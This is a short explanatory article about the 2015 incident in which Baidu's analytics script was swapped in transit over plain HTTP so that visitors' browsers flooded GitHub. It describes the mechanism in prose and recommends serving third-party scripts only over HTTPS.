When Baidu's traffic was hijacked to flood GitHub
In March 2015, visitors browsing ordinary Chinese websites that embedded Baidu's analytics tracking script began seeing repeated pop-up alerts, and their browsers quietly issued a stream of background requests to two specific GitHub pages every few seconds.
What was actually happening
The analytics script itself was not the problem. Something sitting on the network path between users inside China and the wider internet was intercepting the plain HTTP response that delivered the analytics code and substituting a modified version. The substituted script, loaded on a huge number of pages simultaneously because of how widely the analytics snippet was deployed, instructed every visiting browser to repeatedly request two GitHub repository pages associated with anti-censorship projects.
Because the malicious code ran inside millions of ordinary visitors' browsers rather than from a botnet the operator controlled directly, the attack is now widely known as the Great Cannon: a tool that weaponises legitimate traffic passing through a national network boundary, rather than compromising the end targets or the sites being impersonated.
Confirming the mechanism
Outside researchers who examined the traffic afterwards confirmed the pattern was consistent with an on-path device selectively replacing unencrypted responses for specific resources, rather than a compromise of Baidu's own servers; the encrypted HTTPS version of the same resource was not affected, which is itself a strong signal that the interception happened on a plaintext connection somewhere between the origin and the browser.
Why it matters
The incident is a clear illustration of why serving analytics, tracking, and any third-party script over plain HTTP is risky even when the destination site itself is trustworthy: a network-level attacker anywhere between the server and the browser can rewrite that response, and every page embedding the script becomes a delivery vector. Serving all third-party resources exclusively over HTTPS removes this entire class of on-path tampering.
Key takeaways
- A widely embedded analytics script became an attack delivery mechanism when its plain-HTTP response was altered in transit
- The attack used ordinary visitors' browsers as the traffic source, not a botnet the attacker directly controlled
- The encrypted version of the same resource was unaffected, a strong clue that the tampering happened on an unencrypted connection
- Serving any third-party script, including analytics, exclusively over HTTPS closes off this kind of on-path substitution
This note has been rewritten and checked for this edition; it is not a copy of the original post.